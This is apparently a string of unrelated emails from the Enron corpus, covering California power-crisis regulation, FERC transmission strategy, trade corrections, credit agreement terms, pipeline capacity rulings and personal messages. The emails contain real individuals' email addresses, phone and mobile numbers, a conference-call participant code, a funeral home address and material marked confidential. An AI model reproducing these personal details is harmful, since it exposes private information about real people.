The utilities have petitioned to modify the decision telling the Commission 
that the easiest way to remedy the problem would be to vacate the order 
altogether, but if the Commission didn't want to vacate the order, it would 
need to change the decision so that the IOUs don't eat any shortfalls.
The Commission can act on the petition to modify whenever it chooses.  In 
addition, it has a continuation meeting scheduled for this Thursday and a 
regularly scheduled business meeting next week.  So the opportunity to act 
and fix the Order is there if the Commission wants to take it.
With respect to the cost of utility generation (i.e., retained generating 
assets and QF contracts), the Commission has a set up a schedule that 
foresses a Commission decision adopting an "interim" procurement charge on 
March 27th.  There is another "workshop" scheduled for tomorrow to discuss 
the utilities' proposals, after which the utilities will be required to file 
formal "advice  letters" with the Commission.  Those advice letters will form 
the basis of the process that the Commission will use to ultimately arrive at 
a decision on the 27th.
Everyone participating in the workshops takes the view that  customers will 
see a separate line item on their bills to cover the going forward costs that 
DWR incurs to buy power.  Everyone participating in the workshops also takes 
the view that customers will be on the hook for DWR's costs and the 
Commission will, if necessary, raise rates to ensure that DWR is made whole.  
(Unfortunately, the Commission is not currently sending signals to show that 
it concurs with the folks participating in the workshops.  And until there is 
clarity on whether the Commission will agree to "pass through" those costs, 
Enron and others will continue to have problems with DWR's credit as it 
applies to the RFP that we and others responded to last week.)
Next week begins the hearings to address the issues that Commission started 
to examine began in the emergency hearings held over the holidays, i.e., the 
utilities financial position, TURN's proposal to "net out" the utilitities' 
generation-related revenues with the undercollection caused by the rate cap, 
the date on which the rate has (or will) end, etc.    Recently, TURN modified 
its testimony in response to the passage of AB1X.  TURN's new position is 
that the Commission should find that the rate freeze ended on February 1st, 
the effective date of AB1X.   EES will need to quickly determine how and if 
it wants to respond to TURN's latest stance on the end of the rate freeze.
We continue to try to persuade stakeholders and the Commission that DA 
customers must be compensated for the fact that they paid for the utilities' 
stranded generating assets.  That compensation could come in one of two 
forms:  1) access to a proportionate share of the utilities' retained, 
cost-based generating assets, or 2) a credit representing the difference 
between the "market" value of the retained generating assets and the book 
value of those assets.  We are not getting much traction thus far.
The Commission is scheduled to issue a separate decision addressing the rate 
freeze issue, the issue of whether to net out generating-related revenues 
against the undercollection, etc. on March 27.  So both sets of issues (the 
procurement charges and the "end of the rate freeze) are scheduled to be 
"finalized" on March 27, albeit in separate orders.
With respect to the Block Foward issue, our lawyers had a pretty good meeting 
on Friday with the DWR general counsel and other DWR lawyers.  However, it 
has become clear that despite those efforts, FERC's decision on "charge 
backs" will have a significant effect on the resolution of the Block Forward 
issue.

Best,
Jeff

?That is extremely bush league, to make a change at this hour. 

I arranged my schedule around a 3:00 pm Wood meeting in SF and now am 
committed to an East Bay meeting in the morning. I may be able to make it 
there by 11:30 or noon.

From: Tom Beach 
To: Michael.Alexander@sce.com; MBD 
Cc: 'Skaff, Andy@Dynegy'; 'Dingwall, Brian@UEM'; 'John Burkholder'; 'Jun, 
Christine@aelaw'; 'Rick Counihan, Greenmountain.com'; 'Craig Chancellor'; 
'Colin Cushnie'; 'Bayless, David@Utility'; 'Elsesser, Evelyn@aelaw'; 
'Worster, Gerard@TXU'; 'Jeff Dasovich'; Jeff.Dasovich@enron.com; 'Jeff 
Fawcett, Transwestern'; jleslie@LUCE.com; 'Paul, Joe@Dynegy'; 'Johnson, 
Pamela@REMAC'; 'Karp, Joseph@Whitecase'; 'McCrea, Keith@CIG/CM'; 
kmills@CFBF.com; 'How-Downing, Lindsey'; MBD; 'Paul Amirault'; 'Phil Davies, 
WGSI Calgary'; 'Doug Porter'; 'Counihan, Rick'; 'Pocta, Robert M.'; 'Michael 
Rochman'; 'Scott, Susan@TW'

Sent: 12/13/00 4:37 PM 
Subject: Change in Wood All-party Meeting 

Jonathan Lakritz just called to change the Wood all-party to 11 a.m. 
tomorrow. 

Deal 457758.1 for 11/14/00, HE 7 shows 25mw @ $175, TNP shows $150, the El 
Paso model shows $150. 
I believe tehy are correct. Can you please tell me who is right and if they 
are, please change this?
Thank you
Joy

From: 	Crenshaw, Shirley  
Sent:	Wednesday, August 22, 2001 9:45 AM
To:	Kaminski, Vince J
Subject:	FW: Grandfather's Information

Vince:  Here is Kevin's information.

From: 	Moore, Kevin G.  
Sent:	Tuesday, August 21, 2001 10:41 AM
To:	Crenshaw, Shirley; Marquez, Jose
Subject:	Grandfather's Information

Johnson's Funeral Home
612 Ave. E
Conroe Texas 77305

Deceased : Cornelius Scott Sr.

Funeral :Saturday August 25, 2001
New Mount. Zion Baptist Church

    Magnolia Texas

Thanks for Caring..........

Kevin Moore

Hi folks,  We're looking for something to do on this
sweltering day such that we don't have to leave our
airconditioned bedroom.  Thought you'd all like to see
what Maddie's been up to lately.  As you can see in
some of the pics, she cut herself under her right eye
falling down the stairs in front of our house.  She's
posing in front of the offending bricks in one photo.
She's fine and hopes you all haven't fallen down any
stairs recently.

The Lessers

Note: forwarded message attached.

Spot the hottest trends in music, movies, and more.
http://buzz.yahoo.com/
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    Some new pictures of  Maddie.           

 - Lady Godiva 2.JPG 
 - Fish Dress Front Porch.JPG 
 - Fish Dress Slide.JPG 
 - Bathrobe.JPG 
 - Cell phone.jpg 
 - Clap Hands.JPG 
 - maddie high chair crop.jpg 
 - Mud Puddle.JPG 

Hi Matthew,

Greg will be in the London office from early Tuesday afternoon through 
end-of-business day on Thursday, June 7.  Are you available to meet w/him for 
about an hour? He's available Tuesday afternoon until 5:00 p.m.  Wednesday 
there are a few slots available, and Thursday he is wide open.  Please 
advise.  If you could e-mail me your availability that would be great.  Also, 
Greg will be carrying mobile number +44 7901516638.

Many Thanks,

Liz Taylor

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Please note that this message was sent to the following e-mail address:
tgeacco@enron.com 
  <http://images.amazon.com/images/G/01/marketing/html-mailings/tracking/open.gif?DZT3MMVHESXPWY>	
 	 
John:
Here is a summary of the 2 Snyder Agreements.  As we discussed last week, 
there is one trade (a basis swap that will expire in August 2004) that they 
want to remain under the 1194 Master.  Let me know what you want to do.

!. 1994 Agreement

cross default threshold - $10,000,000 for Snyder and $25,000,000 for us
automatic termination if bankruptcy occurs
setoff includes affiliates
collateral is LC's only
collateral threshold - credit rating matrix
 Below BB- - 0
 BB- $2,500,000
 BB $5,000,000
 BB+ $6,000,000
 BBB- to BBB+ $10,000,000
 A- and above $15,000,000

$15,000,000 Enron Guaranty

2. 1996 ISDA Agreement

cross default threshold - $50,000,00 for us and $25,000,000 for them
no automatic termination upon bankruptcy
setoff includes affiliates 
collateral includes LC's and cash
collateral threshold  - $10,000,000 for both parties
MAC trigger is below BBB- for us and BB- or below for them
no Enron Guaranty

Carol

How do we get the right focus on support for Calgary?  Mark Taylor wanted to 
hold up transferring confirm responsibility to Calgary, so we still need to 
provide excellent service to them.  While I can appreciate that Diane is out, 
that should actually be a red flag to us to pay even closer attention to the 
Calgary stuff.  Every screw up looks big to them, and they can't understand 
how mistakes continue to happen.  While I know that they can't appreciate the 
vast number of transactions that the group is currently handling, we still 
need to be able to deliver top notch service.  Unfortunately, we stub our toe 
enough with Calgary that they view of our operation is one that delivers 
pretty poor to average service.  That is a terrible internal PR issue.  Let's 
put our heads together on not just the confirm issue but all of our dealings 
with Calgary so that we quickly turn around our error rate (and/or their 
perceptions) and  can sustain excellent service. I am copying Susan because 
she has dealt recently with an issue brought to our attention by  Rob 
Milnthorp (president of Enron Canada).  She responded to Rob quickly and 
handled things professionally, so she may not have shared the details with 
you at the time.  But now we need to look at all of our outstanding, 
potential or past issues with Calgary and get a solution in place.  She can 
fill you in on the details in that situation.  

Susan:  Do you have any ideas on how we can reshape our image with Calgary?  
---------------------- Forwarded by Sally Beck/HOU/ECT on 07/19/2000 04:21 PM 

	Peggy Hedstrom
	07/19/2000 12:02 PM
	
To: Sally Beck/HOU/ECT@ECT
cc:  
Subject: Re: Financial Confirm NP6050.1

Just so that you are aware, we continue to have problems with the financial 
confirm process from Houston.  On more than one occasion, confirmations have 
been sent to our counterparties prior to review by Calgary.  Attached is the 
most recent one.   We have been assured over and over that this will not 
happen again, however, it continues to happen.  Luckily, this confirmation 
went out without any errors in it.  I know that you are very busy, but  is 
there any way that you can make it a priority to get resolution on moving the 
financial confirmations to Calgary.  
---------------------- Forwarded by Peggy Hedstrom/CAL/ECT on 07/18/2000 
02:10 PM ---------------------------
   
	From:  Larry Joe Hunter                           07/18/2000 01:15 PM
	
To: Peggy Hedstrom/CAL/ECT@ECT
cc: Diane Anderson/NA/Enron@Enron, Andrea R Guillen/HOU/ECT@ECT 
Subject: Re: Financial Confirm NP6050.1  

Peggy,

As far as I can tell, we simply screwed up on this deal.  Diane Anderson, who 
was covering for Angie last week, was using my name to sign off on some other 
Canada deals which were approved from last week then signed and sent this one 
by mistake.  We're terribly sorry for the mistake.  Call me if you want to 
discuss.

Thanks,
Joe

	07/18/2000 09:55 AM
	
To: Larry Joe Hunter/HOU/ECT@ECT
cc:  
Subject: Financial Confirm NP6050.1

Since Dianne Seib is currently on vacation, I am reviewing the financial 
confirms.  For the referenced confirm, the status is currently showing 'Sent 
to Counterparty", although our records show that we have not yet approved the 
revised confirm.  Can you check on this for me and let me know whether this 
was sent prior to receiving Calgary's approval?  If you have any questions, I 
can be contacted at ext. 6753.
Thanks
Peggy

FYI - 
Attached is the final Term Sheet (printed on ECS letterhead) to be mailed to Unocal first thing tomorrow morning.

Thanks, Lisa 

Christi,
=09As I have been thinking about this problem, my opposition to a standard =
model is declining, partly out of frustration with the slow progress being =
made.  I think, however, that we ought to think about the potential consequ=
ences of recommending a standard model.  If we simply endorse PJM, then we =
may inadvertently get its warts as well -- no secondary transmission market=
, ICAP market, etc.  I think we are considering the same thing approach as =
was reported by Charles Yeung's in his note on Tuesday's Inter-RTO Coordina=
tion (Seams) Conference:

"Harvey Reed, Constellation Power, suggested that FERC impose a standard ta=
riff for all RTOs to work from that did not restrict RTOs from filing diffe=
rent proposals, but would limit their ability to diverge from a single mark=
et model."

=09In addition to the standard model, there needs to be a deadline for eith=
er filing the tariff or for filing the standard tariff.  Without a "feet to=
 the fire" feature, nothing the grand stall will continue.  In arguing for =
a standard model, the PJM system could be the core of a proposal but we sho=
uld specific modifications to address our concerns.  On the transmission ri=
ghts issue, for instance, a simple "don't allocate" solution won't work.  T=
he lack of the secondary market for NY TCCs or PJM FTRs goes both to the la=
ck of information and to the way the rights are defined.  If as Harvey Reed=
 suggests, RTOs can submit alternative approaches, at least there will be p=
ressure to get moving.  I have not discussed this idea with West Power. =20

=09It then occurred to me that FERC  is unlikely to impose a standard tarif=
f without a rulemaking proceeding.  Whether they could act by fiat or not i=
s a moot point, since  I doubt that they would do so without creating a rec=
ord.  There are two possible down sides to a rule making.  (1)  The outcome=
 of a rulemaking is something of a crap shoot.  The incumbents have a prett=
y good record in the past, of coming out of rulemakings with plenty of good=
ies such as the native load exemption in Order No. 888.  There is a also a =
distinct risk that PJM's ICAP or transmission right allocation process is g=
iven blessed status, which will make revision of them later to be a huge up=
hill battle.  (2)  The other consequence of a rulemaking its effect on curr=
ent  RTO discussions.  The best outcome is that the uncertainty of the rule=
making creates an urgency  to get a proposal filed before a new FERC rule c=
uts off options from a new the standard for review.  The uncertainty prior =
to the issuance of Order No. 888 in fact had that effect in the West.  On t=
he other hand it can mean that nothing happens until the new rule is issued=
.  This also happened prior to Order No. 888, with a number of companies si=
tting on their hands, using the time delay to protect existing positions, w=
hile whipping up State regulators' fears of jurisdictional shift as necessa=
ry to boost their own position.

=09These are only own views.  I have not had a chance to speak with West Po=
wer this week, but I will approach Tim when I am in Portland again next wee=
k.

Steve

=09Christi L Nicolay 06/19/2001 04:21 PM =09  To: Steve Walton/HOU/ECT@ECT =
 cc: James D Steffes/NA/Enron@ENRON, Richard Shapiro/NA/Enron@Enron, Sarah =
Novosel/Corp/Enron@ENRON, Steven J Kean/NA/Enron@Enron  Subject: Re: INTERI=
M MODEL TALKING POINTS =09

Can we focus the PJM language as an interim fix toward the East (while mayb=
e the threat of PJM in the West will make the West RTOs act quickly and ado=
pt everything that Steve W. has been advocating).  Also, I agree with the I=
SO being required to provide much greater information on where the congesti=
on occurs.  While the allocation of FTRs is a problem and the idiosyncratic=
 nature is also a problem, it is because the traders do not have access to =
all the information.  They have told me that if they had access to all the =
information about congestion from the past several years, they could essent=
ially build a model for anticipated congestion that could trade "above" the=
 underlying FTRs as financial instruments.

Steve Walton
06/18/2001 03:30 PM
To:=09James D Steffes/NA/Enron@ENRON
cc:=09Christi L Nicolay/HOU/ECT@ECT, Richard Shapiro/NA/Enron@Enron, Sarah =
Novosel/Corp/Enron@ENRON, Steven J Kean/NA/Enron@Enron=20

Subject:=09Re: INTERIM MODEL TALKING POINTS  =20

Jim,

=09I have added my comments to your draft.  My concern with the "Adopt PJM"=
 approach is that it will become a fiat accompli with regard to congestion =
management. and the nature of future transmission rights.  Once adopted as =
the standard, nothing else will be accepted and any move to a decentralized=
 approach is highly unlikely.  Unlike the British, we have a hard time chan=
ging horses because of our multi-jurisdictional Federal system of governmen=
t.

=09The PJM's lack of a secondary FTR market is more that just an allocation=
 problem.  If that were true, they New York would have a secondary market -=
- none exists there either.  The unpredictability of prices is probably the=
 biggest problem since no one knows how to value FTRs or TCCs.  I think the=
 nature of instrument is also not particularly helpful.

=09During our discussion of Seabron Adamson's last draft, I maintained that=
 a centralized unit commitment process didn't fit the Pacific Northwest (PN=
W) with its pattern of trading to achieve coordination between hydroelectri=
c and thermoelectric generation.  You asked me to provide more detail hydro=
-thermal operation.  I am including a paper that covers the nature of PNW o=
perations and contracting with observations about the nature of unit commit=
ment.  Given other work and travel, it has taken some time to complete the =
paper and its examples.  I hope this will help to explain why I am hesitant=
 to endorse a centralize unit commitment implementation.

Steve

 =20

=09James D Steffes@ENRON 06/18/2001 01:48 PM =09   To: Steven J Kean/NA/Enr=
on@Enron, Richard Shapiro/NA/Enron@Enron, Christi L Nicolay/HOU/ECT@ECT, Sa=
rah Novosel/Corp/Enron@ENRON, Steve Walton/HOU/ECT  cc:   Subject: INTERIM =
MODEL TALKING POINTS=09

Here is the draft of an Interim step for Enron to give to Lay.  Please give=
 me your comments.  This is CONFIDENTIAL and should not be shared outside t=
he company.

Jim

=20

<Embedded StdOleLink>

Backstreet boy's suck..................................I'm very disapointed 
with you............make sure you don't mention you music tastes when we go 
riding the "hogs"...

Attached is a revised Credit Watch listing for the week of 11/19/01.   The Yuma Companies (Inc.) has been added to this week's "Call Credit" column.
If there are any personnel in your group that were not included in this distribution, please insure that they receive a copy of this report.
To add additional people to this distribution, or if this report has been sent to you in error, please contact Veronica Espinoza at x6-6002.

For other questions, please contact Jason R. Williams at x5-3923,  Veronica Espinoza at x6-6002 or Darren Vanek at x3-1436.

Attached is some spending to date by the CDWR.  This information comes from a 
legislative member so we should NOT release it publicly.

Jim

DWR Power Acquisition for CAISO
Date	MWH	Total	Average $/MWH
12/5/00	8,000	$5,600,000	$700
12/6/00	15,000	$15,000,000	$1,000
1/11/01	12,421	$4,681,445	$377
1/12/01	9,445	$2,920,375	$309
1/13/01	1,065	$274,000	$257
1/14/01	1,717	$433,025	$252
1/15/01	5,825	$1,633,500	$280
1/16/01	2,221	$1,191,800	$537
1/17/01	15,190	$8,698,000	$573
1/18/01	26,056	$11,665,596	$448
1/19/01	54,580	$19,699,725	$361
1/20/01	85,296	$21,257,175	$249
1/21/01	79,000	$20,483,249	$259
1/22/01	129,085	$42,816,753	$332
1/23/01	140,160	$50,001,577	$357
1/24/01	129,160	$42,578,997	$330
			
Total	714,221	$248,935,217	$414

in

  From:  Bryan Hull                                                             03/27/2001 03:31 PM	                              	
		
To:	Eric Bass/HOU/ECT@ECT, Michael Walters/HOU/ECT@ECT, O'Neal D Winfree/HOU/ECT@ECT, David Baumbach/HOU/ECT@ECT, Denver Plachy/NA/Enron@Enron, reagan.mathews@enron.com, Timothy Blanchard/HOU/EES@EES
cc:	 
Subject:	Game tomorrow at 8:00

Our game is at 8, let me know if you are in.

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Steph:  Exactly what are you looking for - I'm not sure we could give you an opinion of the mechanics.  If you remember, we looked at this issue back in March and I sent you the e-mail message below.  Since then, FERC has issued orders in Docket No. RP00-241 on 3/28/2001 and 6/11/2001 which reaffirmed its rulings in the orders discussed below.  There is no discussion in any of the orders on the specific mechanics of the recall other than what I already noted, namely, if the capacity has been recalled by El Paso or a shipper to serve a PG&E market, and the original shipper wants it back, it can re-recall the recalled capacity on 24 hours notice as long as it is using all of its other Block II capacity.  If you need something more "legal", we'll see what we can do.  If we have to go to Bracewell for a law firm legal opinion, there would be a charge since they'd have to do the same research before they could sign off on one.

	  From:  Rebecca W Cantrell                           03/27/2001 04:38 PM	
		
To:	Stephanie Miller/Corp/Enron@ENRON
cc:	 

Subject:	Re: block II  

I would note also that the recent reallocation of Topock rights takes care of one of the issues -- namely that El Paso allowed Dynegy to take Block II capacity to SoCal Topock.  The 4/14/00 order should have taken care of it, except for El Paso's position that they had capacity at Topock in the aggregate so they weren't overselling it.  

Order Date	Block II Rulings	
6/14/2000 Denial of Rehearing by Operation of Law	Denies Indicated Shippers request for rehearing of 4/14/00 order.	
4/14/2000 Order on Rehearing (Enron)	Clarifies the January 19 order to provide that El Paso may remarket the PG&E turnback capacity, including Block II, for primary delivery to delivery points other than PG&E Topock if capacity is available at those other delivery points.	
1/19/2000 Order on Negotiated Rate Transactions  (Enron & Williams)	Block II capacity has primary delivery rights only at PG&E Topock and alternative rights at the other Topock delivery points. Rejects CPUC argument against the recall provisions, which are the same as ultimately accepted in the Dynegy deal (see 10/19/99, 7/29/99, 9/17/98 and 6/11/98 orders) and provide (1) that there is no right of recall if the Block II capacity is simply idle, (2) that the capacity may be recalled if it is being used to serve points other than those behind PG&E Topock, and (3) if so recalled, it may be recalled by the original shipper for its own use in the PG&E service territory upon 24 hours notice. Clarifies, as in Dynegy, that the shipper (Enron) must use all its other Block II capacity before recalling other Block II capacity, but is not required to use Block I or Block III capacity first.	
10/19/1999 Order on Rehearing and Clarification (Dynegy)	Denies rehearing of 7/29/99 order 	
7/29/1999 Order on Rehearing and Compliance Filing (Dynegy)	 Affirms that PG&E and the CPUC are entitled to have the Block II capacity recalled to northern California even if it is under contract [to Dynegy]. Reverses previous ruling -- does not require that all other capacity to California be utilized before Block II capacity can be recalled. Per Settlement, recalling shipper must pay max rate to recall if its contract is one month or less.  If for more than one month, the rate must equal or exceed the rate of the existing shipper. On 24 hours notice, the existing shipper (i.e., Dynegy) may recall for its own use to serve northern California markets, capacity that was recalled for use by other shippers, even if those shippers are willing to pay a higher rate. Clarifies that if the Block II capacity is idle but is not being used to serve areas outside of northern California, [Dynegy] may hold the capacity without any obligation to release it.	
9/17/1998 Letter Order on Compliance Filing	Requires the Dynegy/El Paso agreement to clearly state that Block II capacity was recallable even though Dynegy had a minimum take requirement. Requires El Paso to eliminate use of alternative delivery points as the defining point for the service that would be recalled -- issue is markets served, not delivery points. Requires elimination of a clause requiring recalling shipper to submit a sworn statement that no capacity was available on other pipelines.	
6/11/1998 	Shippers in northern California cannot recall Block II capacity simply because it is not actually being used by [Dynegy]. Block II is recallable if [Dynegy] is using it to serve end users not within PG&E's service territory. Shippers who want to recall Block II capacity must have an actual need and may only recall if firm capacity is not available to PG&E's service territory via El Paso or via any other pipeline available to the shipper.	

Sent:	Friday, August 17, 2001 9:22 AM
To:	Cantrell, Rebecca W.; Lawner, Leslie
Subject:	Block III Recall Rights

Further to our discussions about our EPNG capacity: 

Our research had resulted in an opinion that there is little value associated with PG&E's (northern CA customers) recall rights on Block III capacity.  While it was not part of the original settlement, the 24 hour RE-recall rights to the shipper of record appear to give PG&E a DAILY call on capacity at best. 

Because we have pieced this opinion together based upon rulings in various proceedings, we would like a more formal regulatory/legal opinion of the mechanics of the RE-recall provision that has been developed over time. Is this something that either of you can provide or should it go to Randy? The results of this inquiry will set the tone of our next round of dicussions with EPNG.

 By the way, still waiting on their written reponse to our letter..... I think they have bigger fish to fry.

Please advise.

Stephanie

FYI.
----- Forwarded by Jeff Dasovich/NA/Enron on 03/14/2001 03:01 PM -----

	"Julee Malinowski-Ball" <jmball@ns.net>
	03/14/2001 02:46 PM
	Please respond to "Julee Malinowski-Ball"
		 
		 To: "Quan-Hill, Danielle" <danielle.quan-hill@mirant.com>, "Bill Carlson" 
<william_carlson@wastemanagement.com>, "Bill Woods" <billw@calpine.com>, "Bob 
Ellery" <bellery@spi-ind.com>, "Bob Escalante" <rescalante@riobravo-gm.com>, 
"Bob Gates" <bob.gates@enron.com>, "Carolyn Baker" <cabaker@duke-energy.com>, 
"Cody Carter" <cody.carter@williams.com>, "Craig Chancellor" 
<craigc@calpine.com>, "Curt Hatton" <Curt.Hatton@gen.pge.com>, "Curtis 
Kebler" <curtis_l_kebler@reliantenergy.com>, "David Parquet" 
<dparque@ect.enron.com>, "Dean Gosselin" <dean_gosselin@fpl.com>, "Doug 
Fernley" <fernley.doug@epenergy.com>, "Duane Nelson" <dnelsen@msn.com>, "Ed 
Tomeo" <ed.tomeo@uaecorp.com>, "Eileen Koch" <eileenk@calpine.com>, "Eric 
Eisenman" <eric.eisenman@gen.pge.com>, "Frank DeRosa" 
<fderosa@sanfrancisco.usgen.com>, "Greg Blue" <gtbl@dynegy.com>, "Hap Boyd" 
<rboyd@enron.com>, "Jack Hawks" <jack.hawks@gen.pge.com>, "Jack Pigott" 
<jackp@calpine.com>, "Jeff Dasovich" <Jeff.Dasovich@enron.com>, "Jim Willey" 
<elliottsa@earthlink.net>, "Joe Greco" <jgreco@caithnessenergy.com>, "Joe 
Ronan" <joer@calpine.com>, "John Stout" <john_h_stout@reliantenergy.com>, 
"Jonathan Weisgall" <jweisgall@aol.com>, "Kassandra Gough" 
<kgough@calpine.com>, "Kate Castillo" <ccastillo@riobravo-gm.com>, "Ken 
Hoffman" <khoffman@caithnessenergy.com>, "kent Palmerton" 
<kent.palmerton@williams.com>, "Larrea, John" <John.g.Larrea@williams.com>, 
"Lynn Lednicky" <lale@dynegy.com>, "Marty McFadden" 
<marty_mcfadden@ogden-energy.com>, "Nam Nguyen" <nam.nguyen@powersrc.com>, 
"Paula Soos" <paula_soos@ogden-energy.com>, "Randy Hickok" 
<rjhickok@duke-energy.com>, "Richard Hyde" <rwhyde@duke-energy.com>, "Roger 
Pelote" <roger.pelote@williams.com>, "Ross Ain" <rain@caithnessenergy.com>, 
"Stephanie Newell" <stephanie-newell@reliantenergy.com>, "Steve Iliff" 
<siliff@riobravo-gm.com>, "Steve Ponder" <steve_ponder@fpl.com>, "Steven 
Kelley" <steven@iepa.com>, "Sue Mara" <smara@enron.com>, "Tony Wetzel" 
<twetzel@thermoecotek.com>, "William Hall" <wfhall2@duke-energy.com>, 
<sheryl_gussett@reliantenergy.com>
		 cc: "Jan Smutny Jones" <smutny@iepa.com>, "Steven Kelley" <steven@iepa.com>, 
"Katie Kaplan" <kaplan@iepa.com>, "Rina Venturini" <rventurini@teamgsi.net>, 
"Anne Kelly" <kelly@hnks.com>, "Bev Hansen" <bhansen@lhom.com>, "Cary Rudman" 
<cjrudman@softcom.net>, "Chuck Cole" <ccole@advocation-inc.com>, "Delany 
Hunter" <dhunter@smithandkempton.com>, "DJ Smith" 
<djsmith@smithandkempton.com>, "Hedy Govenar" <hgovenar@govadv.com>, "Jamie 
Parker" <jparker@hmot.com>, "Kassandra Gough" <kgough@calpine.com>, "Marie 
Moretti" <mmoretti@mccabeandcompany.net>, "Maureen OHaren" <Oharen@HMOT.com>, 
"Mike Monagan" <mrmonagan@aol.com>, "Phil Isenberg" <Isenberg@HMOT.com>, 
"Robert Ross" <robbiz@cwo.com>, "Ron Tom" <thackbarth@govadv.com>, "Scott 
Govenar" <sgovenar@govadv.com>, "Susan McCabe" 
<smccabe@mccabeandcompany.net>, "Theo Pathos" <theo@ppallc.com>
		 Subject: Fw: IEP et all amendments to ABX1 60

Attached are amendments to AB 60x which IEP is presenting today at a 2:30
meeting with Assembly Speaker Bob Hertzberg.  As a follow-up to the meeting,
IEP member company lobbyists will join me on a conference call at 3:45 today
to discuss strategy on "shopping" this language to the Assembly
Appropriations Committee members.  You are welcome to join in on that
conference call.

Dial In Number     (800) 891-9585
Participant Code   756453

-- Julee

> Here it is as we discussed.
>
> Bullets on the amendments:
>
> 1) Amendments are intended to help load serving entities secure contract
for
> power for California loads from California resources without unnecessarily
> delaying or disrupting the development of projects within California.
> 2) It is necessary to remove vague and ambiguous language from the bill
that
> could disrupt current or new projects or undermine commercial arrangements
> already in place. Specifically, the language that calls for comparisons of
> offers is particularly difficult to implement and will It is necessary to
> remove language
>
> Andy Brown
> Ellison, Schneider & Harris

This is a very helpful memo.  I think you've hit the highlights of what we 
need to do.  We will take the lead on the five page presentation.  As for 
item #1, I agree.  Sarah will have a better idea on Tuesday what resources we 
need in DC.  As for the regional folks, I think we do want to balance time 
spent in DC with time spent on item #2.  Both are important.  Use of outside 
counsel will also need to be judged as we move forward.   As for #3, we are 
organizing the outreach here.  We clearly have much more to do on that 
front.  Janel is putting together a list of companies who might be interested 
in joining a NE RTO support coalition.  We will work with these groups to 
coordinate a message.  Two final thoughts.  1) We need to organize a similar 
effort for the Southeast, where I suspect state opposition will be even 
stronger, and 2) We need to coordinate closely on all documents used in these 
proceedings or with outside policy makers.  It is important that we have 
careful internal review.  Thanks for taking the lead on coordinating our game 
plan.    

	James D Steffes
	07/19/2001 01:09 PM
		 
		 To: Steve Montovano/NA/Enron@Enron, Linda Robertson/NA/Enron@ENRON
		 cc: Richard Shapiro/NA/Enron@Enron
		 Subject: Northeast RTO Strategy

I wanted to bring try and coordinate our activities on the Northeast RTO.

1. FERC Mediation Process -- My recommendation is that Sarah Novosel is 
anointed Lead.  I don't know that we need to have every regional ISO person 
at all of the meetings.  I think that Sarah should consider her needs and 
make the call on other's participation.  Also, I would leave it up to Sarah 
to include or not include outside legal counsel.  This is going to be the 
focal point, but not the only place where this issue is discussed heavily.

2. State Political Support -- The key to any successful outcome is to have 
the key regulatory and political leaders in each state impacted by FERC's 
decision to support the formation of a single market and RTO.  Right now I 
don't think that we have pushed this agenda.  My recommendation is that NY, 
PA, NJ, and MA are the key places to focus (maybe NH and MD).  We need a 
strong and constant message in to the PUCs and Governor's offices that 
everyone wins under this Order.  Makes sense to me to have a small traveling 
band rove through these locations to build support.  Maybe need to beef up 
our lobbying presence in Harrisburg and Albany to get this done?

3. Congressional Political Support -- What is the current temperature of the 
Northeast delegation?  Have we messaged the "upside" of this action by FERC?  
What do Sen. Schumer and Sen. Clinton think?  Who else will take this on?  
One potential argument for the naysayers may be an environmental argument 
that this will result in more pollution in the Northeast, although FERC has 
dealt with this in the 888 context.  

My fear is that we are not providing enough air cover for Sarah at FERC.  
Getting Gov. Pataki and Gov. Ridge to state publicly that this is the "right" 
thing would be huge (even better to include Sen. Clinton).

Finally, can Sarah Novosel and the ISO team (Dan A, Howard, Tom H.)  build a 
short 5 page presentation that outlines the benefits of a single RTO that we 
can use on the road show and up on Capitol Hill?  They have the best 
knowledge to do this.

If people want a conference call, I'm in today and tomorrow.

Jim

We have reorganized Government Affairs primary points of contact for the
ILECs for purposes of interconnection and special access.  While all of us
are willing to field questions, this is just for your information in
facilitate communications going forward.

Lara Leibman-Verizon
Scott Bolton-Qwest
Me and John Neslage-SBC and Bell South

As I understand the break-out for the trading desk,

Gunnar Frey-Verizon, Bell South
Neil Carpino-Qwest and SBC-West (Pacific Bell and Nevada Bell)
Nicole La-SBC (Ameritech and Texas)

Please let me know if I have the break-out correct.  Thanks.

We are short at PGE system for Wednesday, 10/03/01.  HE7-22pdt, we are 25mw short (total of 400mw).  This is due to a lending deal done by the NW Cash desk.  Please supply Portland at their system in the most cost effective manner possible.  Deal #799806.1

Thanks, 
Donald Robinson, NW preschedule desk

LB 1 and LB2 Scada files are on the network.
Note: LB 1 10-minute files for February; records begin on the 2/4/2002 due to 
change over of new SCADA computers

-John

---------------------- Forwarded by John M Ruiz/EWC/Enron on 03/07/2002 07:54 
   
	From:  John M Ruiz                           03/06/2002 04:33 PM
	
To: Mark V Walker/EWC/Enron@ENRON, Jeff Duff/EWC/Enron@ENRON, Mark 
Fisher/EWC/Enron@Enron
cc: Hollis Kimbrough/EWC/Enron@ENRON 

Subject: Feb Scada

Data files available on the network are:

DMP - logg, 10-min OK; uploaded to STAR; PLC Ok

SL1 - logg, 10-min OK; uploaded to STAR,except Node 1file (210, 211, 
227-259)- STAR missing 02/28/2002 in TRBAVG.

SL2 - log, 10-min OK; uploaded to STAR, except Node 1 file (49-63, 67-75, 
80-107) STAR missing after 02/27/2002 17:00 (5:00 pm) in TRBAVG

Cabazon, WECS 98 ,67, 28 logg and 10-min files on the network

***Should have all node and logg files for LB 1 and LB2 on the network 
tomorrow in AM

-John

where are the charges? and please divide it all equally.  it was a great time 
and there's just no reason for you guys to absorb the other costs, 
particularly when the rest of us have the means to help out.

thanks again for a great time (despite the spades!).

	Nancy Sellers <Nancy.Sellers@RobertMondavi.com>
	04/04/2001 02:44 PM
		 
		 To: Cameron <cameron@perfect.com>, Jeff Dasovich <Jeff_Dasovich@enron.com>, 
"Prentice @ Berkeley" <PSellers@haas.berkeley.edu>, Prentice Sellers 
<PSellers@pacbell.net>, Scott Laughlin <scottwl@hotmail.com>
		 cc: "'Eldon Sellers'" <Eldon@interx.net>
		 Subject: Mexico Bill

Below are the El Cid charges for you guys.  Since we forced you to come to
Mazatlan against your will, there are no charges for anything else!  I hope
you all had a good time - I sure did!

 <<...OLE_Obj...>> 

Nancy
(707) 251-4870 (phone)
(707) 265-5446 (fax)
"Plus je bois, mieux je chante"

